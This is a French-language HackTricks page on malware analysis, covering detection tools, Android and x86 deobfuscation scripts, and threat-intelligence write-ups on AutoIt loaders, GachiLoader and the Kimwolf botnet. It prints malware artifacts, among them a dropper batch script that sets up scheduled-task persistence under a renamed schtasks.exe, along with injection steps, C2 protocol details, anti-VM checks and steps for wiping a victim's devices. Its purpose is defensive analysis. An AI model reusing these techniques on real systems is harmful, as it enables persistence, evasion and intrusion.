Malware Analysis
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.
CheatSheets de Forensics
https://www.jaiminton.com/cheatsheet/DFIR/#
Services Online
Outils Antivirus et de Détection Hors ligne
Yara
Install
sudo apt-get install -y yara
Préparer les règles
Utilisez ce script pour télécharger et fusionner toutes les règles Yara de malware depuis github : https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Créez le répertoire rules et exécutez-le. Cela créera un fichier appelé malware_rules.yar qui contient toutes les règles Yara pour malware.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Scan
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen : Vérifier la présence de malware et créer des règles
Vous pouvez utiliser l’outil YaraGen pour générer des règles yara à partir d’un binaire. Consultez ces tutoriels : Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Installer
sudo apt-get install -y clamav
Analyse
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa détecte des capacités potentiellement malveillantes dans des exécutables : PE, ELF, .NET. Il trouvera donc des éléments tels que des tactiques Att&ck, ou des capacités suspectes comme :
- vérifier l’erreur OutputDebugString
- s’exécuter en tant que service
- créer un processus
Obtenez-le dans le Github repo.
IOCs
IOC signifie Indicator Of Compromise. Un IOC est un ensemble de conditions qui identifient un logiciel potentiellement indésirable ou un malware confirmé. Les Blue Teams utilisent ce type de définition pour rechercher ce type de fichiers malveillants dans leurs systems et networks.
Partager ces définitions est très utile : lorsqu’un malware est identifié sur un ordinateur et qu’un IOC pour ce malware est créé, d’autres Blue Teams peuvent l’utiliser pour identifier le malware plus rapidement.
Un outil pour créer ou modifier des IOCs est IOC Editor.
Vous pouvez utiliser des outils comme Redline pour rechercher des IOCs définis dans un device.
Loki
Loki est un scanner de Simple Indicators of Compromise.
La détection repose sur quatre méthodes de détection :
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) est un scanner de malware pour Linux, publié sous la licence GNU GPLv2, conçu autour des menaces rencontrées dans les environnements d’hébergement mutualisé. Il utilise des données de menaces provenant de systèmes de détection d’intrusion en bordure de réseau afin d’extraire les malware qui sont activement utilisés dans des attaques et génère des signatures pour la détection. De plus, les données de menaces sont également dérivées des soumissions d’utilisateurs avec la fonctionnalité de checkout de LMD et des ressources de la communauté malware.
rkhunter
Des outils comme rkhunter peuvent être utilisés pour vérifier le système de fichiers à la recherche de possibles rootkits et malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS est un outil qui essaiera de trouver des chaînes obfusquées à l’intérieur des exécutables en utilisant différentes techniques.
PEpper
PEpper vérifie certains éléments de base à l’intérieur de l’exécutable (binary data, entropy, URLs et IPs, certaines règles yara).
PEstudio
PEstudio est un outil qui permet d’obtenir des informations sur les exécutables Windows telles que les imports, exports, headers, mais aussi de vérifier virus total et de trouver des techniques Att&ck potentielles.
Detect It Easy(DiE)
DiE est un outil pour détecter si un fichier est encrypted et aussi trouver des packers.
NeoPI
NeoPI est un script Python qui utilise विविध méthodes statistical pour détecter du contenu obfuscated et encrypted dans des fichiers texte/script. Le but de NeoPI est d’aider à la détection de code web shell caché.
php-malware-finder
PHP-malware-finder fait de son mieux pour détecter du obfuscated/dodgy code ainsi que des fichiers utilisant des fonctions PHP souvent utilisées dans des malwares/webshells.
Apple Binary Signatures
Lors de la vérification d’un malware sample, vous devriez toujours check the signature du binaire, car le developer qui l’a signé peut déjà être related avec malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Techniques de détection
Empilement de fichiers
Si vous savez qu’un dossier contenant les fichiers d’un serveur web a été mis à jour pour la dernière fois à une certaine date. Vérifiez la date de création et de modification de tous les fichiers du serveur web et si une date est suspecte, examinez ce fichier.
Baselines
Si les fichiers d’un dossier n’auraient pas dû être modifiés, vous pouvez calculer le hash des fichiers originaux du dossier et les comparer avec les actuels. Tout ce qui est modifié sera suspect.
Analyse statistique
Lorsque les informations sont enregistrées dans des logs, vous pouvez vérifier des statistiques comme le nombre de fois où chaque fichier d’un serveur web a été accédé, car un web shell pourrait être l’un des plus.
Télémétrie native Android in-app (sans root)
Sur Android, vous pouvez instrumenter du code natif à l’intérieur du processus de l’application cible en préchargeant une petite bibliothèque logger avant l’initialisation des autres libs JNI. Cela donne une visibilité précoce sur le comportement natif sans hooks à l’échelle du système ni root. Une approche populaire est SoTap : déposez libsotap.so pour le bon ABI dans l’APK et injectez un appel System.loadLibrary(“sotap”) tôt (par ex. un initialiseur statique ou Application.onCreate), puis récupérez les logs depuis les chemins internes/externes ou via un fallback Logcat.
Voir la page de reversing natif Android pour les détails de configuration et les chemins des logs :
Déobfuscation de chaînes natives Android/JNI avec angr + Ghidra
Certains malwares Android et certaines apps protégées par RASP cachent les noms et signatures des méthodes JNI en les décodant à l’exécution avant d’appeler RegisterNatives. Quand l’instrumentation Frida/ptrace est arrêtée par l’anti-debug, vous pouvez quand même récupérer le texte en clair hors ligne en exécutant le décodeur embarqué avec angr, puis en renvoyant les résultats dans Ghidra sous forme de commentaires.
Idée clé : traiter le décodeur dans le .so comme une fonction appelable, l’exécuter sur les blobs d’octets obfusqués dans .rodata, et concrétiser les octets de sortie jusqu’au premier \x00 (terminateur de chaîne C). Gardez angr et Ghidra avec la même base image pour éviter les décalages d’adresses.
Vue d’ensemble du workflow
- Triage dans Ghidra : identifiez le décodeur et sa convention d’appel/ses arguments dans JNI_OnLoad et la configuration de RegisterNatives.
- Exécutez angr (CPython3) pour lancer le décodeur sur chaque chaîne cible et vider les résultats.
- Annotez dans Ghidra : ajoutez automatiquement des commentaires aux chaînes décodées à chaque point d’appel pour reconstruire rapidement JNI.
Triage Ghidra (motif JNI_OnLoad)
- Appliquez les types JNI à JNI_OnLoad afin que Ghidra reconnaisse les structures JNINativeMethod.
- JNINativeMethod typique selon la documentation Oracle :
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Recherchez les appels à RegisterNatives. Si la bibliothèque construit le nom/la signature avec une routine locale (par ex. FUN_00100e10) qui référence une table d’octets statique (par ex. DAT_00100bf4) et prend des paramètres comme (encoded_ptr, out_buf, length), c’est une cible idéale pour une exécution hors ligne.
Configuration angr (exécuter le décodeur hors ligne)
- Chargez le .so avec la même base que celle utilisée dans Ghidra (exemple : 0x00100000) et désactivez le chargement automatique des libs externes pour garder un état léger.
Configuration angr et exécution hors ligne du décodeur
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- À grande échelle, construisez une carte statique des sites d’appel vers les arguments du décodeur (encoded_ptr, size). Les wrappers peuvent masquer les arguments, donc vous pouvez créer cette cartographie manuellement à partir des xrefs Ghidra si la récupération des API est bruitée.
<details>
<summary>Décoder en lot plusieurs sites d’appel avec angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Annoter les call sites dans Ghidra Option A: écrivain de commentaires Jython uniquement (utilisez un JSON pré-calculé)
- Since angr requires CPython3, keep deobfuscation and annotation separated. First run the angr script above to produce decoded_strings.json. Then run this Jython GhidraScript to write PRE_COMMENTs at each call site (and include the caller function name for context):
Ghidra Jython script to annotate decoded JNI strings
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternativement, utilisez pyhidra ou ghidra_bridge pour piloter l’API de Ghidra depuis le même processus CPython qui exécute angr. Cela permet d’appeler decode_string() et de définir immédiatement des PRE_COMMENTs sans fichier intermédiaire. La logique reprend le script Jython : construire la map callsite→function via ReferenceManager, décoder avec angr, puis définir les comments.
Why this works and when to use it
- L’exécution hors ligne contourne RASP/anti-debug : aucun ptrace, aucun hook Frida requis pour récupérer les strings.
- Garder Ghidra et la base_addr d’angr alignés (par ex. 0x00100000) garantit que les adresses des fonctions/données correspondent entre les outils.
- Recette reproductible pour les decoders : traiter la transformation comme une fonction pure, allouer un buffer de sortie dans un nouvel état, l’appeler avec (encoded_ptr, out_ptr, len), puis concrétiser via state.solver.eval et parser les C-strings jusqu’à \x00.
Notes and pitfalls
- Respectez l’ABI / calling convention de la cible. angr.factory.callable en choisit une selon l’arch ; si les arguments semblent décalés, spécifiez cc explicitement.
- Si le decoder attend des buffers de sortie initialisés à zéro, initialisez outbuf avec des zéros dans l’état avant l’appel.
- Pour les .so Android position-independent, fournissez toujours base_addr afin que les adresses dans angr correspondent à celles vues dans Ghidra.
- Utilisez currentProgram.getReferenceManager() pour énumérer les call-xrefs même si l’app enveloppe le decoder derrière de fins stubs.
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Les familles modernes de malware abusent fortement de l’obfuscation du Control-Flow Graph (CFG) : au lieu d’un jump/call direct, elles calculent la destination à l’exécution et exécutent un `jmp rax` ou `call rax`. Un petit *dispatcher* (généralement neuf instructions) définit la cible finale selon les flags CPU `ZF`/`CF`, ce qui casse complètement la récupération statique du CFG.
La technique – présentée par le loader SLOW#TEMPEST – peut être neutralisée avec un workflow en trois étapes qui repose uniquement sur IDAPython et l’émulateur CPU Unicorn.
### 1. Localiser chaque indirect jump / call
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Extraire le byte-code du dispatcher
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Émuler deux fois avec Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Exécutez run(code,0,0) et run(code,1,1) pour obtenir les cibles de branche false et true.
4. Patch back a direct jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Après le patch, forcez IDA à réanalyser la fonction afin que le CFG complet et la sortie Hex-Rays soient restaurés :
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Étiqueter les appels API indirects
Une fois que la vraie destination de chaque call rax est connue, vous pouvez indiquer à IDA ce que c’est afin que les types de paramètres et les noms de variables soient récupérés automatiquement :
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Avantages pratiques
- Restaure le vrai CFG → la décompilation passe de 10 lignes à des milliers.
- Active les références croisées de chaînes et les xrefs, ce qui rend la reconstruction du comportement triviale.
- Les scripts sont réutilisables : déposez-les dans n’importe quel loader protégé par la même astuce.
Loaders basés sur AutoIt : déchiffrement .a3x, camouflage en Task Scheduler et injection RAT
Ce schéma d’intrusion enchaîne un MSI signé, des loaders AutoIt compilés en .a3x, et une tâche Task Scheduler se faisant passer pour une application bénigne.
MSI → custom actions → orchestrateur AutoIt
Arbre des processus et commandes exécutées par les custom actions du MSI :
- MsiExec.exe → cmd.exe pour exécuter install.bat
- WScript.exe pour afficher une boîte de dialogue d’erreur factice
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (dépose le loader, met en place la persistance, s’auto-nettoie):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (leurre utilisateur):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Artifacts clés et masquerade :
- Dépose AutoIt3.exe et IoKlTr.au3 dans C:\Users\Public\Music
- Copie schtasks.exe en hwpviewer.exe (se fait passer pour Hangul Word Processor viewer)
- Crée une tâche planifiée “IoKlTr” qui s’exécute toutes les 1 minute
- LNK de démarrage observé comme Smart_Web.lnk; mutex :
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Déploie des modules sous %APPDATA%\Google\Browser\ dans des sous-dossiers contenant
adbouadv, puis les lance via des helpers autoit.vbs/install.bat
Conseils de triage forensic :
- Énumération schtasks :
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Recherchez des copies renommées de schtasks.exe co-localisées avec le Task XML :
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Chemins courants :
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Corrélez la création de processus : AutoIt3.exe lançant des binaires Windows légitimes (par ex., cleanmgr.exe, hncfinder.exe)
Chargeurs AutoIt et décryptage des payloads .a3x → injection
- Les modules AutoIt sont compilés avec
#AutoIt3Wrapper_Outfile_type=a3xet déchiffrent des payloads intégrés avant de les injecter dans des processus légitimes. - Familles observées : QuasarRAT (injecté dans hncfinder.exe) et RftRAT/RFTServer (injecté dans cleanmgr.exe), ainsi que des modules RemcosRAT (
Remcos\RunBinary.a3x). - Modèle de déchiffrement : dériver une clé AES via HMAC, déchiffrer le blob intégré, puis injecter le module en clair.
Schéma générique de déchiffrement (l’entrée/algorithme HMAC exact dépend de la famille) :
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Flux d’injection courant (style CreateRemoteThread) :
- CreateProcess (suspended) de l’hôte cible (p. ex. cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory avec le module/shellcode déchiffré
- CreateRemoteThread ou QueueUserAPC pour exécuter le payload
Idées de hunting
- AutoIt3.exe parented by MsiExec.exe ou WScript.exe lançant des utilitaires système
- Fichiers avec l’extension
.a3xou exécuteurs de scripts AutoIt sous des chemins publics/écrivable par l’utilisateur - Tâches planifiées suspectes exécutant AutoIt3.exe ou des binaires non signés par Microsoft, avec des déclencheurs à la minute
Abus de prise de contrôle de compte de Android Find My Device (Find Hub)
Lors de l’intrusion Windows, les opérateurs ont utilisé des identifiants Google volés pour effacer à plusieurs reprises les appareils Android de la victime, en supprimant les notifications pendant qu’ils étendaient l’accès via le client de messagerie de bureau connecté de la victime.
Étapes de l’opérateur (depuis une session de navigateur connectée) :
- Vérifier Google Account → Security → Your devices ; suivre Find My Phone → Find Hub (https://www.google.com/android/find)
- Sélectionner l’appareil → ressaisir le mot de passe Google → lancer “Erase device” (factory reset) ; répéter pour retarder la récupération
- Optionnel : supprimer les e-mails d’alerte dans la boîte mail liée (p. ex. Naver) pour masquer les notifications de sécurité
Tracing des loaders Node.js fortement obfusqués
Les attaquants regroupent de plus en plus des loaders JavaScript dans des binaires Windows autonomes compilés avec nexe, de sorte que le runtime est livré avec le script. Le PE résultant pèse souvent 60–90 MB et s’exécute même si Node.js n’est pas installé. Lors du triage :
- Utiliser
nexe_unpackerpour extraire le JavaScript embarqué du PE et l’envoyer aux outils locaux pour une comparaison statique. - S’attendre à un mutex basé sur le disque dans
%TEMP%(GachiLoader dépose un fichier aléatoire<name>.lockqui expire après environ 5 minutes). Copier le fichier vers le sandbox avant exécution permet de sauter les étapes redondantes tout en voyant encore les payloads ultérieurs.
Tracing de l’API Node.js pour contourner l’anti-analyse
Check Point’s Nodejs-Tracer hook les modules de base dans tout processus Node.js, permet de spoof les vérifications anti-VM, et préserve chaque artefact écrit par l’échantillon. Lancez les scripts obfusqués via le tracer pour garder l’instrumentation contrôlée par l’analyste dans la pile d’appels :
node -r .\tracer.js main.js
Les toggles de configuration clés dans tracer.js vous permettent de :
- Journaliser l’activité du filesystem, des child-process et HTTP (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Chaque fichier déposé — commekidkadi.node— est copié dans le working directory avant que le malware ne le supprime. - Remplacer les empreintes d’environnement en renvoyant des comptes RAM/CPU réalistes, en falsifiant la sortie de
tasklist, et en manipulant les réponses PowerShell/WMI. Cela contourne les loaders qui exigent ≥4 GB RAM, ≥2 cores, et scrutent les user names (mashinesssss,wdagutilityaccount, etc.), hostnames (desktop-vrsqlag,server1…), et process names (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe). - Neutraliser les contrôles matériels WMI comme
Get-WmiObject Win32_DiskDrive(qui cherchevmware,kvm,virtio, …),Win32_VideoController(qui bloque “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) et les décomptesWin32_PortConnector. Quand ces sondes renvoient du matériel “réel”, les sandboxes ne tombent plus dans la boucle infinie deInvoke-WebRequestbénins verslinkedin.com,grok.com,whatsapp.com, et des domaines similaires que GachiLoader utilise pour faire perdre du temps à l’analyse.
Capturing gated C2 traffic automatically
Les hooks réseau du tracer révèlent une authentification C2 multi-couche sans avoir à reverse la minification JavaScript. Dans la campagne observée, le loader :
- POST les données de télémétrie de l’hôte vers
/logsur chaque C2 codé en dur. - Envoie
GET /richfamily/<per-sample key>avecX-Secret: gachifamilypour récupérer une URL de payload encodée en Base64. - Effectue un
GETfinal vers cette URL avec un long headerX-Secretspécifique à l’échantillon ; son absence renvoie403 Forbidden.
Comme le tracer enregistre les requêtes complètes (headers, bodies, destinations), vous pouvez rejouer le même trafic pour récupérer les payloads, dumper les shells Themida/VMProtect en mémoire, et extraire les données de configuration Rhadamanthys à grande échelle.
AdaptixC2: Configuration Extraction and TTPs
Voir la page dédiée :
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK loader & native ELF execution on TV boxes
- Des APK malveillants comme
com.n2.systemservice06*embarquent un ELF ARM lié statiquement dansres/raw(par ex.R.raw.libniggakernel). Un receiverBOOT_COMPLETEDs’exécute au démarrage, extrait la ressource brute vers le sandbox de l’app (par ex./data/data/<pkg>/niggakernel), le rend exécutable et l’invoque avecsu. - Beaucoup de TV boxes/tablettes Android sont livrées avec des images pré-rootées ou un
suworld-writable, donc le loader démarre de façon fiable l’ELF avec l’UID 0 même sans exploit chain. La persistence est “gratuite” parce que le receiver se relance après chaque reboot ou redémarrage de l’app. - Les reverse engineers qui cherchent ce pattern peuvent diff
AndroidManifest.xmlà la recherche de boot receivers cachés ainsi que du code qui référenceResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su"). Une fois l’ELF déposé, traitez-le comme une backdoor Linux userland (Kimwolf est empaqueté UPX, stripped, linked statiquement, 32-bit ARM EABI5).
Runtime mutexes & masquerading IOCs
- Au démarrage, Kimwolf lie un abstract UNIX domain socket tel que
@niggaboxv4/@niggaboxv5. Les sockets existants forcent la sortie, donc le nom du socket sert à la fois de mutex et d’artefact forensic. - Le titre du process est écrasé avec des noms qui ressemblent à des services (
netd_services,tv_helper, etc.) pour se fondre dans les listings de process Android. Les détections host-based peuvent alerter sur ces noms combinés au mutex socket.
Stack XOR string decoding with ARM NEON + flare_emu
- Les chaînes sensibles (domaines C2, resolvers, endpoints DoT) sont poussées sur la stack en blocs chiffrés de 8 bytes et décodées in-place via
VEOR Qx, Qx, Qy(veorq_s64). Les analystes peuvent script flare_emu pour capturer le pointeur déchiffré chaque fois que le decryptor le transmet à l’appelant :
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Recherche des séquences
VEOR Q8, Q8, Q9/veorq_s64et émulation de leurs plages pour vider en masse chaque chaîne déchiffrée, en contournant la durée de vie limitée au stack du plaintext.
Résolution DNS-over-TLS et dérivation d’IP par XOR
- Toutes les variantes de Kimwolf résolvent les domaines C2 en parlant directement DNS-over-TLS (TCP/853) avec Google (8.8.8.8) ou Cloudflare (1.1.1.1), ce qui contourne la journalisation ou le détournement du DNS en clair.
- Les bots v4 utilisent simplement l’enregistrement IPv4 A retourné. Les bots v5 traitent l’enregistrement A comme un entier 32 bits, inversent son endianess, le XOR avec la constante
0x00ce0491, puis réinversent l’endianess pour obtenir la vraie IP C2. Recette CyberChef : Change IP format → swap endianness per 4-byte chunk → XOR with00 ce 04 91→ convert back to dotted decimal.
Fallback ENS / EtherHiding
- Les versions plus récentes ajoutent un domaine ENS (
pawsatyou.eth) dont la clé texte du resolver"lol"stocke une IPv6 d’apparence bénigne (fed0:5dec:...:1be7:8599). - Le bot récupère les quatre derniers octets (
1b e7 85 99), les XOR avec0x93141715, puis interprète le résultat comme une IPv4 C2 (136.243.146.140). Mettre à jour l’enregistrement texte ENS fait pivoter instantanément les C2 en aval via la blockchain sans toucher au DNS.
Canal de commande authentifié TLS + ECDSA
- Le trafic est encapsulé dans wolfSSL avec un protocole cadencé personnalisé :
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap: le bot envoie deux en-têtes vides
MsgType=0 (register). Le C2 répond avecMsgType=1 (verify)contenant un challenge aléatoire plus une signature ASN.1 DER ECDSA. Les bots la vérifient à l’aide d’un blob SubjectPublicKeyInfo intégré ; les échecs terminent la session, empêchant des nœuds C2 détournés/sinkholed de piloter la flotte. - Une fois vérifié, le bot envoie un corps
MsgType=0transportant la group string définie par l’opérateur (par exempleandroid-postboot-rt). Si le groupe est activé, le C2 répond avecMsgType=2 (confirm), après quoi le tasking (MsgType 5–12) commence. - Les verbes pris en charge incluent le proxying TCP/UDP de type SOCKS (monétisation de residential proxy), reverse shell / exécution d’une seule commande, lecture/écriture de fichiers, et des payloads Mirai-compatible DDoSBody (même disposition
AtkType,Duration,Targets[],Flags[]).
Ransomware à chiffrement partiel : nonces de stream-cipher perdus
Certaines familles de ransomware chiffrent partiellement les fichiers pour aller plus vite, mais lorsqu’elles utilisent un stream cipher indépendamment sur plusieurs chunks, chaque région chiffrée a besoin de son propre nonce/IV persistant. Si l’échantillon génère un nonce frais par chunk et écrase le même buffer de 12 octets dans la boucle, puis n’ajoute à la fin sur disque que la dernière valeur, les chunks précédents deviennent cryptographiquement irrécupérables même si l’attaquant partage ensuite la clé.
Schéma cassé typique :
for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12); // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12); // only the last nonce survives
Références
- Unit42 – Évolution des tactiques de SLOW#TEMPEST : plongée approfondie dans des techniques avancées de malware
- SoTap : journalisateur de comportement JNI (.so) léger intégré à l’application – github.com/RezaArbabBot/SoTap
- Stratégies pour analyser le code natif dans les applications Android : combiner Ghidra et l’exécution symbolique pour le déchiffrement et la désobfuscation du code – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad et API d’invocation – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing des fonctions JNI – valsamaras.medium.com
- Native Enrich : scripting Ghidra et Frida pour découvrir les fonctions JNI cachées – laripping.com
- Unit42 – AdaptixC2 : un nouveau framework open-source exploité dans des attaques réelles
- L’APT lié à KONNI abuse de Google Find Hub pour effacer des appareils Android après une intrusion Windows – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- Analyse technique de RftRAT/RFTServer – asec.ahnlab.com
- Contexte HMAC – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet : évasion du C2 basée sur ENS, protocole C2 TLS+ECDSA, et opérations de proxy/DDoS à grande échelle – blog.xlab.qianxin.com
- Check Point Research – GachiLoader : vaincre le malware Node.js avec le tracing des API
- Nodejs-Tracer – GitHub
- Check Point Research – VECT : ransomware par conception, wiper par accident
- Libsodium documentation – ChaCha20 stream cipher APIs
- RFC 8439 – ChaCha20 and Poly1305 for IETF Protocols
Tip
Apprenez et pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Parcourez le catalogue complet de HackTricks Training pour les parcours d’évaluation (ARTA/GRTA/AzRTA) et Linux Hacking Expert (LHE).
Support HackTricks
- Consultez les subscription plans!
- Rejoignez 💬 le groupe Discord, le groupe telegram, suivez @hacktricks_live sur X/Twitter, ou consultez la page LinkedIn et la chaîne YouTube.
- Partagez des hacking tricks en soumettant des PRs aux dépôts github HackTricks et HackTricks Cloud.


